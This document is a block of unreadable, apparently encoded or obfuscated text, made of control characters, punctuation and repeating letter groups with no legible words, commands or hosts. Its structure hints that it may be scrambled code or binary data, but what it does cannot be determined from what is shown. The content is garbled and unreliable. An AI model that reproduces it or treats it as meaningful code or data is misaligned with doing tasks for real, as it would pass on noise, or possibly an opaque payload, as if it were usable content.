<5D&"AJA#]X_]W<R]AJA">.AJALQHAJA(&#Y>#Y5D&"AJA-] C]-# 6 <#AJA">&>N ]&(Q_ <&#>,#N(<6_&(Q_ <&>,X6=UHLQ7AJA(&U>5D&"AJA6_ X]AJA">.D&"AJAY6 -AJA# 6LL-AJA">N(<6_&(Q_ <&R>,(&5R5R5D&"AJA#_E OC@AJA">HHHLQ>UH2S>7AJA(&U>5D&"AJAQ]-# ]AOJNA">&>S>S>5D&"AJA_6 _AJA">&(Q_ <&>,S>AJA#_E AJA# ::]EL6_]AJA(Q_ <::]# #AJAE6#]::QLAJA UAJA#_E =D6 69#_9AJAX6=DH(Q_ <&>,X6=H"".7(<&H7NL]- 7H>H -N(<UJ6J<D]&E6#] &N#Q# &.>.2'>>7] Q=S.AJA">7AJA(&#Y>,AJA#Y5D&"AJA-] C]-# 6 <AJA">&AJAG#<::]_<D]AJAN ]&(Q_ <&>,(&>#Y5D&"AJA]-# ]AJA.,#_<E]AJAS>5D&"AJA_6 _AJA">&(Q_ <&>,S>S>AJA5D&"AJA_6 _AJA">&(Q_ <&>,S>7AJA6DDX] @# ]]AJA">&D&"AJAU]##6-]AJA">.(Q_ <&]>,AJAX6=XH]5D&"AJAD6 6AJA">7AJA(&XXN_>, Z,]Y=$Q_ <&6 <&XN_>>&>S_6 _&>,SSS>7AJA]6DZAJA">N ]&(Q_ <&>,AJA5D&"AJA">5D&"AJAE<# :A]##6-]AJA">&, ""S>S>SAJA#Y::]-AJA(L]U U]AJA(L]::-] ::_< ] #AJAW::JM
[
[::0CAJA-L<AJA-L<AJA#::66ZAJA#::66ZAJA#Q# AJA#::66ZAJA#::DAOJNA#Q# AJANEEAJA(L]U U]AJA(L]#!]AJA# E<#AJAE]-::U6 _AJA<E_6_]::X6LD6 ]AJA#Y]]EAJA6#]6U]AJAN<((AJA6#]6U]AJANEEAJAN#D::AJAD6U]AJAUQ9ELQ-#AJA-] ::<E <AJAD6U]AJA6#]6U]AJA(Q_ <::]# #AJA6_ X]::# ]YD]::ELQ-#AJAD6U]AJAN6D::AJA]EL<D]AJA_<Q AJAQLRAJA(Q_ <::]# #AJA(L]::EQ ::_< ] #AJA(L]#!]AJAE6 AJA]6LE6 AJA(Q_ <::]# #AJANEEAJA#Q# AJAUDAJA#_::<< ::X]AJA#_::<< ::X]AJAHAJA#_::<< :: RAJAJ::JMC::MM[[CB0AJA#_::<< :: RAJAJ::JMC::MM[::*CAJA# 6 -AJAQ::_6<]<X/XZRF#< AJAR/#-)Q/QZL_ZAJAB[	
$M::;[
M
AJA-'2 #-R:: 'RQYY#(AJA]-# ]::#Q D<Y::(Q_ <AJA]-# ]::#Q D<Y::(Q_ <AJA6 F YQ(!D#<AJA6XD RL<U-_#::L-(AOJNA6#]6U]AJA UAJA(L]::-] ::_< ] #AJAD6U]AJAN ::AJANEEAJAN<_(::AJAQLRAJA(2Q!2GU2AJAG-(::G::E<QAJAL<6D9ELQ-#NEEAJA6DU:: AJA ZUF]-)X_UUL<X<8FAJAEUXZ R8Z6FLQAJAG'8ZFL8(<AJA((EXG<#))R(AJAYE(U::]L(D]::_<]_ <::<E #AJA(Z_#EY::# 8#DG UQ::AJAYE::(L]::U66-]::_<]_ <::<E #AJA]L(D]::_<]_ <::<E #AJA(Z_#EY::# 8#DG UQ::AJA(L]::U66-]::_<]_ <::<E #AJA6Q ] _6 ]AJA(Q#E)22#_LRZ8Z-UAJAYE::L<-AJAY6XGR62!'F-#AJAE]::Q#]::Q]ZAJAG_::6X(LZF')(XAJA]# ::Q#]::Q]ZAJA_L)U -(GL:://DFRYAJAX]Y#::Q#]#AJAG)_EE-X']2RRE!AJAD]Q-::(<U6 <AJAY_U/6-G-88--2AJA#<Y::6DX6_]D::ELQ-#AJA6Y <F)]!#-AJA6DU::]6D9ELQ-#NEEAJA::(_::U8F'F8](EL]2-_<UAJA# ]:: 6#] ::QED6 ]::ELQ-#AJA62#F_Y8Y</_Y<R_::AJA6LL::ELQ-#AJAYE::6G6::UR::(L]::(<LD]::U66-]AJA2#]D'ZD_QAJAYE::6G6::_<]_ <AJA2#]D'ZD_QAJAYE::6G6::(#::_<]_ <AJA2#]D'ZD_QAJAYE::(<< ]AJA##E'G-RFD'U_AJA ]UEL6 ]::]D]_ AOJNA#R/'LF(DUYF)'LAJA6DU::(<< ]AJA]))GL##_QQ UREAJAL<-::(<< ]AJA]))GL##_QQ UREAJAR!ZG D6#Z_AJAG]_X_!(Z'2X)AJAZ)DYRU YY<-DQ F/ AJA6DG6G::FG_Z::-X] AJA 6GUZY_Y!D<#AJAD2::YYY_GGZQU#2AJA ZUF]-)X_UUL<X<8FAJAE_-!_E(_R2/#GDAJAELQ-#::L<6D]DAJA!L-UED_QYY'G!86<R2 AJAL'#LEQ#/<(2AJAL8GG6LUY-LF22AJAL86YUE2YYAJALR(X_-___#FAJA-] ::<E <AJA(Q_ <::]# #AJAGZ(RZ!DG-]EAJAG::)E#R2Q R)Y-8AJA#DQ--UE]'<#AJA(Q_ <::]# #AJAQED6 ]::<E <AJA#_::L6# ::]_<X]Z::_]_RAJA#_::L6# ::]_<X]Z::_]_RAJA U]AJAQUYLYYEAJA_<::#_]DQL]#AJAG6 (< !G'8]#AJAELQ-#::L<6D]DAOO]FB=B;] 	FP

_
TNBOB[S
P
NBO]B [A'$5AHA62.AHA9AHA	AHARHUTAHA
AHAAHA1*AHA3!/(AHA"4AHA+IKAHAAHA%)AHA#AHA::[AHA LAHAF0\AHANMAHAO AHA7-AHA:AJAHAVAHAZYAHAX_QSAHAW^P>AHA?<]AHAD=AHA;@GAHA8BEAHA,CAHA&A]B[ABAHA[	#AHA_::AHAX]<AHAFN)AHAELAHAQ-AHAAHA6UWAHA@OVAHA
0CAHA:A9RAHAD AHAZJMAHAYAHATHAHA(4AHA=*AHA&AHA>$KAHA?1AHA.AHA3!AHA8AHA2/';AHA AHAG7,AHA"5AHASAHA\PAHA+I%^A]B[DD] 	NB[V]BZ
NBO]BMMOB[	NBJB=B;O]BH[NB[[[ 
OYB=B;\B =B;]FB] 	F	^R_ NBOFP

_
TNBO] 	F9UNBOFP

_
TNBO] 	FU	NBOB[BMV]FP

_
TNBO]ll 	FRWS_QUNB^
^^9OB^
^^9[NNB^
^^9OYB^
^^9\VOMV]FB^
^^9L^]l 	FQSSTTNBOB[NNBOYB\VOMV]FBLR]llFlllFFFF N9UNVOOFF	FFF]llFFF 	FF^P	PU QNOlFFFFFlFFFFFFFFNB!*)$'*5=	^R_ NWO;OFYFB!*)$'*5=U	NWO;FF\FFF9UNTO]lFFFFlFF 	FFFFFWP__VVUVNOlFFFFFFFFlFFFF99 /*#99]llFFFFlFF 	F^SU^S
_NOlFlFFFFP

_
TNUONWP__VVUVNOO]lFFlF 	FFFFFFVSPQ_V_P VNOllF FNP

_
TNRONP

_
TNSOOOFFFF
9NWP__VVUVNOO]llBT	W QFFFFFF[FWP__VVUVNO]lFllFFFB^VWWSFFFF[FF NP

_
TNPOOFFFFFYFFFFFF1696*3!/(9"/4F\FFFFDD]lFFF FNB^VWWSFFG[[FFDDFFFFF@@FFFFF	^R_ NQONBT	W QJFFFFB^VWWSOFF[[[FFFVOFFFFF9UN^ON9UN_ONBT	W QJFFFFU	NWVONB^VWWSOOJFFAIAO]lFFF	^R_ NUON9UNWWONBT	W QOOFFFFHFFAIAFFFFFHFF	^R_ NWTONBT	W QO]lFFlFF 	FFFFF9	_	^R	VVNOlFlIIF		F	FllllFFP

_
TNWUON NU	NWROOFFFYF16+396*3!/(9"/4FFF\FN169%)(2#(29"/4FHFU	NWSOOJFFFAIAO]llllFFFFl 	F
_
QSNOlFlFFFFP

_
TNWWONWP__VVUVNOO]lFFFlF 	FFF9WR
R NBWRV	P
UJFFFBQWS_P _QF[FNWPTMUUWOJFB TW	R	_ SQPF[FFFF 
OllFFFFFFP

_
TNRONP

_
TNWPOOFYFFFFF&P

_
TNWPONBWRV	P
UJFFBQWS_P _QJFFFB TW	R	_ SQPOFFF\FF 
]lFlFF 	FU9
 NB 
 UUTQ	WJFFBQWS_P _QOllllllFFFFF	^R_ NWQON9UNW^OOFFYFFFF&	^R_ NW^ONB 
 UUTQ	WJFFFBQWS_P _QOFF\FFFF 
]lFFFlFF 	FFF
VUNB 
 UUTQ	WOlFFlIIF			F	KF 	F16F!	F$
	lBV9 QT[6.69/(29+'>I6.69/(29+'>]B
9[BV9 QTMSU]lFFFU	NWQONU	NW_OOFFFFYFF&	^R_ NW_ONB 
 UUTQ	WOFF\F 
]llllFFFFFlFFF 	FFFFFVVRQQ9U^NB 
 UUTQ	WJFBTOlllFFFFFFllFFFFFU	NTVONU	NTWOOFYF&9UNTWONB 
 UUTQ	WJFFBTOFFFFFF\FFFFF 
]lFFFlF 	FF_R
RRWU
NB 
 UUTQ	WOlllFllllFFFB99VRF[FFWRP NO]lFFFVVRQQ9U^NB 
 UUTQ	WJFFFFFNB99VRFFKFNB99VRFCFFFFFN___STMR^OOOFMFFR
PPRTNOO]llF 	FFQ
SV9TNBPVR^Q^JFFFB
WOlFFFFFFFBS_ T
[_L^]BU_P9^
[BS_ T
KWT]lFFFFFFFFFFU	NTTON	^R_ NTUOOFYF&U	NTUONBPVR^Q^JFB
WOFF\F 
]BWRP[RWL_]BV [BWRPKW^]lFlFFFF 	F 	QPVNBPVR^Q^JFFFB
WOlFFFlFFFF9UNTTONU	NTROOFFFFFYF&U	NTRONBPVR^Q^JFFB
WOF\FFFF 
]lFFFlFFFFF 	FFFFF9PPUR9WPVPNBWRV	P
UJFFB 
 UUTQ	WOllF	^R_ NTSONP

_
TNTPOOFFYFFF&	^R_ NTPONBWRV	P
UJFB 
 UUTQ	WOF\FF 
]lllFlF 	FF9	W
	NOllFFFFlFFB
Q T_F[FF

]lFF FFNB
Q T_FG[[F

OFFFFFFFFB
Q T_]lFFFFB
Q T_F[FFU	NTSON9UNTQOOFYFF	^R_ NT^ONOFFF\FFFFU	NT_O]B	U^9P[_SLP]BSR[B	U^9PK_]lFFF FFN&9UNUVONB
Q T_OFF@@FFF&P

_
TNUWONB
Q T_OOFFFFFFB
Q T_]lFFFFFFFBT VVFFFFFF[FF N9UNUTOOFFYF169%)(2#(29"/4F\FFFN N9UNVOOFYFFFFF'$56'2.FFHF	^R_ NUUOFF\FFDDO]lFF FFFFNBT VVFFG[[FFFFFDDOFFFlFBT	W QFF[FFP

_
TNWUONBT VVJFF	^R_ NUROOFFHFU	NUSO]lF FFFFNG&9UNUVONBT	W QOOFF&9UNWPONBT	W QJFFFNRUPMSQOJFFO]llFFFFF FN&U	NUVONBT	W QOFFFFF@@FFF&U	NUWONBT	W QOOFFFl FFFFN9UNTSON	^R_ NUPOOOFFFF&NP

_
TNUQOFFHFBT	W QO]lFFFFFFB!*)$'*5=9UNU^O;F[FFW]lFFFFFB
Q T_F[FFFFFBT	W Q]lFlFFFFFlllFFFB
Q T_]lFFFlFFFFFFF 	FUW_U9W^NOlFFFlFFBWRV	P
UF[F
_
QSNO]lFBQWS_P _QFF[FFF9	_	^R	VVNO]lIIF6.6F^HRF FF	llFFFF FFNBWRV	P
UF[[[FFFFFBQWS_P _QOFF]lFFF FFNP

_
TNU_ONU	NRVOOOFllllFFFBRW
F[F&U	NRWONBWRV	P
UO]llllFFBQ
UF[FFFF&P

_
TNRWONBQWS_P _QO]lFFFFNBRW
FG[[FFFF 
FF@@FBQ
UFG[[FFF 
F@@FBRW
F[[[FFFBQ
UO]lFFlllFFFFFFFF 
]lFFFlF 	FFR
PPRTNOlFFFlFFFN_UQR^MQWO]lFlF 	FFFFFFUTWPPVT	_
9
TNOlFFFFFFFFl FFFFFNG N	^R_ NVOOOFFFFFFFDD]llFFFBT VVFF[FF NU	NRTOOFFFFFYFFF169%)(2#(29"/4FF\FF'$56'2.FFHFFF9UNUUO]lFF9UNWUONBT VVJFFFU	NUROOFHF9UNRUOFFFHFFFFF	^R_ N_ON9UNRRON'$56'2.FHFF9UNRSOOJFVJFFNVQMVWOOFFHFF9UNRPOFFHFFFF9UN_ON	^R_ NRRON'$56'2.FHF9UNRQOOJFFVJFFNTSV8TRTOOFHFFF	^R_ NR^O]lFl 	FFFFFFVV QNB
VRW
FFFFFF[FFFFFF

OlFFFFFFlFFB 
 UUTQ	WFFFF[FFUTWPPVT	_
9
TNO]lFFFFFFF FFNB 
 UUTQ	WFF[[[FFDDOFFFFFFF 
]lFFFFF FNGP

_
TNR_ONB
VRW
OFFFFFU	NWVONB
VRW
OFFFZFFNRUWMP_OOFB
VRW
FF[FFFFFFTWTNO]lF FFFNGB
VRW
FFFFFFGS_V9QNB
VRW
OOFFFF 
]lFFFFFBWRV	P
UF[FFU	NWWONB 
 UUTQ	WO]lllFFF FFNG&P

_
TNSVONBWRV	P
UOOF9WR
R NBWRV	P
UJFFNRW^MQSOJFFFO]lFFF FNG&9UNSVONBWRV	P
UOFFFFFFFG&U	NUWONBWRV	P
UOOFF 
]lFFFFF FFFFN&U	NSWONB 
 UUTQ	WOOFFFFFFlllFFFFFFF FNU	NRRON9^QSRQNNOFFFFF&U	NSTONB 
 UUTQ	WOOOF[[[F9UNRRONB
VRW
OOFFFFF]lFFFBFFF[FFW	9
VSNB 
 UUTQ	WO]lFF FNBFFG[[FFFF

F@@FF	9	NBJFF^P	PU QNOJFFFFFAXAOOFFFFFFFFF 
]lFNBO]lFFFFFl FFFNG URUSWNB 
 UUTQ	WJFFB
VRW
OOFFFFF 
]lFFU9
 NB 
 UUTQ	WJFNUUUM^QOO]l
V _RR _9NB 
 UUTQ	WO]lFFFFFFFFFFF]llF 	FFFPTQ
TQVNOlFFFlFFB
VRW
F[FFFFFTWTNO]llllFFFFFFF FFFFFNGB
VRW
FFFFGS_V9QNB
VRW
OOFFFFFFFF 
]lllFBTVFFF[FFFFF9UNWTONWP__VVUVNOJFFFFU	NR^OO]BSSUU
T[6.69/(29+'>I6.69/(29+'>]B^^UR^
P[BSSUU
TMWQ]lFBR WPV F[FF9UNSUON	^R_ NSROOFYFFFTQ^V^_ NOFFFFF\FN NU	NRTOOFFYFFF169%)(2#(29"/4FFFF\FDDO]l FFNBR WPV F[[[FDDOFFFFF 
]llFB^VWWSFFF[FBR WPV FFFHFP

_
TNSSOFFHFFBTV]lFFFFFFFBFF[FB^VWWSFHFFFFAIAFFHFFFBTVFFFHFF	^R_ NR^O]lllFFFB PSU
^FF[FFF 
]lFFF FN	^R_ NSUON9UNRWOOOFFlBSUTTF[F&U	NRWONBO]lFFFFFB9TV_PFFFFF[FF&U	NSPONWP__VVUVNOO]lB PSU
^F[FFFN9UNR_ONBSUTTOF@@FFFF9UNR_ONB9TV_POFFFFF@@FFFFFBSUTTFFFF[[[FB9TV_PO]lllF FNGB PSU
^OFFFlFFF FNG&U	NSVONB^VWWSOOFFFF9WR
R NB^VWWSJFFNRQQMWPOJFFO]llllF FFFFNG&	^R_ NSVONB^VWWSOFFFFFFFG&	^R_ NUWONB^VWWSOOFFFF 
]B__WP [6.69/(29+'>I6.69/(29+'>]B[B__WP MTQ]lFFFFF FFFNG&9UNSWONBOFFFU	NSQON9^QSRQNNOFFF&9UNS^ONBOOOFFG[[FU	NS_ONB
VRW
OOFl FFN&P

_
TNSWONBOOFFFFlFFFFFBFF[FFFFW	9
VSNBO]lFFFF FNBFFFG[[F

FF@@FFF	9	NBJFFF^P	PU QNOJFFFAXAOOFFF 
]lFFFFFNBO]lFFFlIIF	
F	K
lllllFFFFF FFFNG URUSWNBJFFFU 		 WS	NB
VRW
OOOFFFFFFFF 
]lU9
 NBJFNURUMQQOO]llF_R
RRWU
NBO]lF
V _RR _9NBO]BV_U
S9	[6.69+',)490#45/)(]B9WW[BV_U
S9	LW]lFFlll FFFN9UNSUON	^R_ NPVOOFFFF@@FFP

_
TNPWON	^R_ NPTOOOFFlB
SURRRW	FF[FFBTVFFHFFAIAFFFHFFBTVFHFFP

_
TNR^O]lB^R_9QFFFF[FF9		N	^R_ NPUOJFFFFNOO]l FFNGU	NPRONB^R_9QOOFFFB^R_9QFFF[FFNO]lFFFFFFF FFNG9UNPSONB
SURRRW	JFFFB^R_9QJFFOOFlFB^R_9Q=;F[FFB
SURRRW	]lllFF9		N	^R_ NPUOJFFFFP

_
TNPPONB^R_9QOO]lFFFFFFlFFFFllllFFF]llllFFFFFlFFFF 	FW	9
VSNB 
 UUTQ	WOllFFFFFFFFB TVQ^ TWFF[FFFF&U	NPQONB 
 UUTQ	WJFF 
JFFF

JFFFVJFFNVTQMV^UOO]lF FFFNGP

_
TNP^ONB TVQ^ TWOOFFF

]lFF FFN	^R_ NP_ONP

_
TNQVOJFFFB TVQ^ TWJFBQWS_P _QOOFFBQWS_P _Q=W;]lFFFFF

]lFFFFFFlFFlFFF 	FFFFFF_9
U NB	

^	JFFBWUOlFFlIIF	
FF	ll&
NJFFFFFFB	

^	O]lllFFFFFBW_R	FFFFFF[FFFF&9UNQWONB	

^	O]l FFNGBW_R	FFFNBW_R	FFCFN____VMWVOOFG[[FFR
PPRTNOOFlIIF16F$	F$
	\FFKllFFFFFFF 
]llllFFFFFFFlFFFB

_VT	FFF[FF&U	NQTONB	

^	O]lFFFB

_VT	FF@@FB

_VT	FFFX[FFFBWU]lFl 	FS	VQUVTNOllllFlFFFFFFNUS_Q_MTWO]llFF 	FTVQT^NOlFFFFFlFF9UNQUO]llFFFF 	FFFW9_QSSQVNOlFFFFFFFFlFFFFFFFFF9UNQRO]lFlFFF 	FFFFF
WVWS___ WNOlllFllFFFF FFN	^R_ NPWON	^R_ NQSOOOFFFFFFF]l FFFFFNPQ
RQSNOOFFFFFF]lFFFFFFFB VSQFFF[FFNB95#40#4=P

_
TNQPO;OFYFFFFF9UNQQONNOFFFFB95#40#4=U	NQ^O;OFF\FFDD]lFF FFFNB VSQFFG[[FFFFDDFF@@FFFFNP

_
TNQONB VSQJFF9UNQ_OOFFG[[F 
FFFFFFF	^R_ N^VONB VSQJFFFF	^R_ N^WOOFFG[[FFF 
FFFFFF9UN^VONB VSQJF	^R_ N^TOOFG[[FFFFF 
OOFFFFF]lFFFFF FNB VSQF[[[FDDFFF@@FF	^R_ N^UONOFFG[[FFFFF9UN^ROFFFF@@FFNB95#40#4=U	N^SO;OOFFFFFFFF]lFF 
]lllFFFlFFFFFF 	FFFFPQ
RQSNOlBRU_T[6.69/(29+'>I6.69/(29+'>]BR	UP[BRU_TMP]lFFFB VSQFFF[FFNB95#40#4=U	NQ^O;OFFFYFFFB95#40#4=	^R_ N^PO;FF\FFFDD]llFFFFFFFFFP

_
TNP^ONB VSQOFFF@@FF	NB VSQJFFFP

_
TN^QOOFG[[F 
]lFFFFFl 	FFFF	R9NB
V^V^OlFFlFFB QW
9
F[FF9UNPWONP

_
TN^^OOFFYF&U	N^_ONU	N_VOOF\F 
]lllFFFF FFFFNGB QW
9
FFFFFFFFB QW
9
FF[[[FDDOFF]lFBSVT	F[FFFF&P

_
TN_WONB
V^V^O]lFFFF FNGBSVT	OFFFBSVT	F[FB
V^V^]B
T9[K^T]B
V	[NB
T9XVOYB
T9\KB
T9]ll 	FFFN9UN_TON6'2.95#6'4'2)4JFFFB QW
9
OFFFFFBQ
WVOFlFBQ
WVF[FFF9UNWUONBQ
WVJFFP

_
TNUROO]lF FFNBQ
WVF@@FFFFFFNBSVT	FFF[[[FFFFBQ
WVFFF	^R_ N_UONBSVT	JFBQ
WVFHFFFFF"/4#%2)4?95#6'4'2)4OFF[[[FFFFVOOFFFFFFF]lFFFlFFFFFFFFFFF 
]lFFFlFF 	FFT9WQUUNBVP^VWOllFFFFFFlB VSS9^FFF[FFFFBVP^VWFHFAAFFHFN N9UN_ROOFFYFFF"$9('+#F\FFFDDOFFHFFFAAFHFFFFFN NP

_
TNVOOFFFFYFF'$56'2.FF\FDDO]lllFFF	^R_ N_SONB VSS9^O]lllFFFFFFFFlFFFFF 	FFFF_QTSS_^P
 _RWNBVP^VWOlFFFFFFlF
	
FFFB]l FFNGNB!*)$'*5=9UN_PO;OFFFFFFG9UNPRONB!*)$'*5=P

_
TN_QO;OOFFB!*)$'*5=9UN_QO;FF[FNO]lFFFFFFFF FFFFFNGNB!*)$'*5=P

_
TN_QO;=BVP^VW;OOFFFlFFB!*)$'*5=U	N_QO;=BVP^VW;MM]lFFF]llFFlFFFFF FFFN	^R_ N_^ONBOF@@FFU	N__ONBJFFFF9UNWVVOOOFlFB TW	R	_ SQPFF[FFFFF&BKX9N9UNWVWOFHFFT9WQUUNBVP^VWOFHFU	NWVTOO]l FFFFNB TW	R	_ SQPFF[[[FAWAOFFlIIF654KRF\F
F	K llFB!*)$'*5=U	N_QO;=BVP^VW;FFFF[FFFFW]lFFFF]llllF FFNB TW	R	_ SQPFF[[[FFFAVAOFFF 
]lFFFFFl FFFNP

_
TNPWONP

_
TNWVUOOFF@@FF9UNPWONP

_
TNWVROOOFlIIFFKlB

9V[SLT]B
PSU[B

9VKW]lFFFFBWSFFFF[FNO]lF FFFFN9UNPWON	^R_ NT^OOOFFFFFBWS=;FF[FFP

_
TNT^ONO]l FN N9UNWVSOOOFFBWS=;F[F169%)(2#(29"/4]lllFFF FFFFFN NU	NVOOOFBWS=;FFFFF[FFP

_
TNWUON'$56'2.JFFFP

_
TNWVPOO]lllFFFFFF 	FFNBWSFFFFFFBWRV	P
UOFFFllllFFFF FFNBWRV	P
UFF[[[FDDFFFFFFFFG&	^R_ NWVQONBWRV	P
UOFFFFFFG&9UNUWONBWRV	P
UOOFF	]lFFBUTQ F[FFF&P

_
TNWVRONBWRV	P
UFFHFFP

_
TNWV^OFHFT9WQUUNBVP^VWOFFFFFFHF	^R_ NWV_OJFFFFFFAAO]lFF FFFNBUTQ FG[[FF 
OFFFlFFFFFF FNG& 
	NBUTQ JF*)%-9#>FF*)%-9($OOFFFFFFlIIF			F	KKllFF& 
	NBUTQ O]lFFF 
]lFFFFFFlF FFFNGNB!*)$'*5=	^R_ NWWVO;OFFFFG9UNWWWONB!*)$'*5=9UNWWVO;OOFFFB!*)$'*5=P

_
TNWWVO;FF[FFNO]lFFB!*)$'*5=	^R_ NWWVO;=BVP^VW;FF[FFFFBUTQ ]lB!*)$'*5=U	N_QO;=BVP^VW;FFFF[FW]lFFF]lFFFlFFFFlFllllFFFFFFF 
]lFFlF 	FFSU_T	_NBVP^VWOllFFF
	
FB]lF FFNNB!*)$'*5=U	NWWTO;=BVP^VW;OOFF]llllFB!*)$'*5=9UNWWTO;=BVP^VW;KK]ll FFNB!*)$'*5=	^R_ NWWUO;=BVP^VW;FFFXFFVOF]lFNB!*)$'*5=U	NWWUO;=BVP^VW;O]lFFFF FFFFNNB!*)$'*5=	^R_ NWWRO;=BVP^VW;OOFFl& 
	NB!*)$'*5=	^R_ NWWSO;=BVP^VW;JFFFFFF*)%-93(O]l& 
	NB!*)$'*5=9UNWWPO;=BVP^VW;O]lFFFFNB!*)$'*5=9UNWWQO;=BVP^VW;O]lllFFFF FN	^R_ N_^ONBOFFFFF@@FFFFFFP

_
TN__ONBJFFF9UNWW^OOOFFFlllFFFF&BKXNP

_
TNWW_OFFFHFT9WQUUNBVP^VWOFFHF9UNWTVOO]llIIF
FlllFFFF 	FFQ^_SRVNOlllFFF FFFFN N	^R_ NWTWOOF@@F"/5'**)19 /*#9+)"5OFFFFFF 
]lFFF]lFFFFlFFFFFF 	FF	RR^TT9
NB9QR^^JFFB
WSW9TOlFFlFFl FN 9NU	NWTTOOFFF@@FB
WSW9TFF	 F2	
OFlFFFB  UF[FFFFF9UN_ONB9QR^^FHFFF	^R_ NWTUOFFHFFFB
WSW9TKX+NOJFVJFNUPRKWV^OO]lFFFFFF
 FFNB
WSW9TF	 FFF#	OFFFlB  UF[FFU	NWTRONB9QR^^FFHFFU	NWTSOFHFFFB
WSW9TKX+NOJFFFFVJFFFFNWQRM^TOO]llllF
 FFFFFFN	^R_ NWTPONB
WSW9TOFF@@FFF	^R_ NWVONB
WSW9TOFFXFFFFVOFFFFlB  UFF[FU	NWTQONB9QR^^FFFHFU	NWT^OFHFB
WSW9TJFFFFFFVJFNTVPMSVOO]lFFFFFF
Fl]llIIF
 
F		llF FFFNGNB!*)$'*5=U	NWT_O;OOFFFB!*)$'*5=	^R_ NWT_O;FFFF[FFFFNO]l FFFFFNG9UNPSONB  UJFFFFFFB!*)$'*5=P

_
TNWUVO;JFOOFFFlFFFFFFFB!*)$'*5=9UNWUVO;=;FFF[FFFFB  U]lFlFFF FFFFFN9UNWUWONB!*)$'*5=	^R_ NWUTO;OFFXFFFFFNTRMTPOOFFlFB!*)$'*5=P

_
TNWUUO;FFFF[F	^R_ NWURONB!*)$'*5=P

_
TNWUSO;JFKNUVMTVOO]lFFFFFlFFFFN2	
FB^V_OFFFFFlIIF6F6.6FTFF		llFFFFFN#	FFFFB^V_OFFFFFllllFFFFlFFFFl 	FFFFFT
VVUNB TVQ^ TWJFFFB
 P9VW^JFFFFB 
 UUTQ	WFF[FFFFNPMROJFFBVTVWFF[FFFWOlFFlF FNG	^R_ NPWON	^R_ NWUPOOOFFFFF 
]lF FFFN	^R_ NWUQONB
 P9VW^OOFFlFFF9	NB TVQ^ TWJFF 	FFFNHHHB		S_ WSVOFFFFFFNB
 P9VW^OFlFFFF FFFN9UNPWONB
 P9VW^OOFFFFFB
 P9VW^NHHHB		S_ WSVO]lF

]lJFFFB 
 UUTQ	WJFFFFBVTVWO]B99[6.69/(29+'>I6.69/(29+'>]BRW_

U[B99M^W]lFFFFFlFFFFF9	NB TVQ^ TWJFFFB
 P9VW^JFB 
 UUTQ	WJFBVTVWO]lFlllF 	FU9VS_Q^SNB TVQ^ TWJFFFB
 P9VW^JFFFFFFB 
 UUTQ	WFF[FFFNP_8Q_OJFFFBVTVWF[FWOllFFFFlFFFFF FFFFNG	^R_ NPWONP

_
TNWU^OOOFFFFFF 
]lF FN9UNWUQONB
 P9VW^OOFFFFFFlllFFFFF9 
NB TVQ^ TWJF 	FFNHHHB		S_ WSVOFFFNB
 P9VW^OFFlll FNU	NWU_ONB
 P9VW^OOFFFFFB
 P9VW^NHHHB		S_ WSVO]lFFFFFFFFFNB		S_ WSV=V;OFFFFYFFB		S_ WSV=V;F\FFF

]lFFFFFJFFB 
 UUTQ	WJFFBVTVWO]BPW_[NVTUMV^O]B_U[BPW_CWU]lFFFFFFlFFFFFFFFF9 
NB TVQ^ TWJFFFFFFB
 P9VW^JFFFFB 
 UUTQ	WJFBVTVWO]llFFFlF 	FFF 	T^U^NOllFFFFBQ
WVFFF[FFFFF NP

_
TNWRVOOFFFYFFFF169%)(2#(29"/4FHFP

_
TNWRWOFFFHFF	
_N'$56'2.FHFP

_
TNRSOJFFNQMWOOFFFF\FFFFFFU	NWWONWP__VVUVNOOFFHFP

_
TNWRTO]l FFNG&U	NWVQONBQ
WVOFFFFFF@@FFFFF	R9NBQ
WVOOFFFFlll9WR
R NBQ
WVJFFFNVT^MVWSOJFFFFO]lFF FFFN&9UNWVQONBQ
WVOOFFFFlFFFU_TVQTQ	_NBQ
WVFFHFF9UNWRUOJFFFFFDZYFIIF5
FF	
H:DJFP

_
TNRSOO]llFFFFlF FFFFFN&U	NWRRONBQ
WVOF@@FF&P

_
TNWRSONBQ
WVOOFFFFFlIIFF
	llFBQ
WV]lFFFlIIF	

F 
	KF 	F16F!
	
F5
llFFFFBP^_UWUQ	FFFF[FU	NWWONWP__VVUVNOOFFFHFP

_
TNWRTO]lF FFFNG&U	NWRPONBP^_UWUQ	OFFF@@FFF	R9NBP^_UWUQ	OOFF9WR
R NBP^_UWUQ	JFFFFFNRTQMPPOJFFO]ll FN&9UNWRPONBP^_UWUQ	OFFF@@F&P

_
TNWRSONBP^_UWUQ	OOFFFFBP^_UWUQ	]lB	 FF[FF9UNWWONWP__VVUVNOO]lllFFFFFFF FFFFN&9UNWRSONB	 OF@@FFB	 FFG[[FF9	_	^R	VVNOOFFFFFFFB	 ]l FFN NP

_
TNWRVOOF@@FFFF&U	NWRQON169%)(2#(29"/4OF@@FFFF	R9N169%)(2#(29"/4OOFFFFFF169%)(2#(29"/4]lFFFFFFBQ
WV]lFFlFF 	FFFTQ^V^_ NOllF FN NU	NWRVOOFFFF@@FFFFF&U	NWRQON169%)(2#(29"/4OFF@@FFF	R9N169%)(2#(29"/4OOFFFFFFF169%)(2#(29"/4]lFFFFFFFB_RT
TF[FF9UNWR^ONWP__VVUVNOO]lFFFF FN	R9NB_RT
TOOFFFFB_RT
T]lFFFF169%)(2#(29"/4]lFFlFFFlFF 	FFFFW U^PTWSNB
V^V^OlFllFF FFNNB!*)$'*5=	^R_ NWR_O;OFFFFG9UNWSVONB!*)$'*5=	^R_ NWSWO;OOFFFF 
]l FNNB!*)$'*5=P

_
TNWSTO;=B
V^V^;OOFFF]lFBSVT	F[FFU	NWU_ONP

_
TNWSUOOFYF&	^R_ NWSUONB
V^V^OFF\F 
]lFFFFFFNBSVT	FFG[[FFFF 
FFF@@FFFFFNB!*)$'*5=P

_
TNWSTO;=BSVT	;OO]llllllllFF 	FP9WVQQ NB
V^V^OlFlILFF	FLIlB P
T[_TLQ]BUU[B P
TKU]l FNNB!*)$'*5=	^R_ NWSRO;OFFFFFG9UNWSVONB!*)$'*5=9UNWSRO;OOFF]lllFNB!*)$'*5=9UNWSRO;=B
V^V^;O]llllFFFFBSVT	F[FF9UNWU_ONU	NWSUOOFYFFF&P

_
TNWSUONB
V^V^OFF\F 
]l FFFNBSVT	FFG[[FFFF 
OFFFFNB!*)$'*5=P

_
TNWSSO;=BSVT	;O]lllll 	FFFFFF9	S
W NB
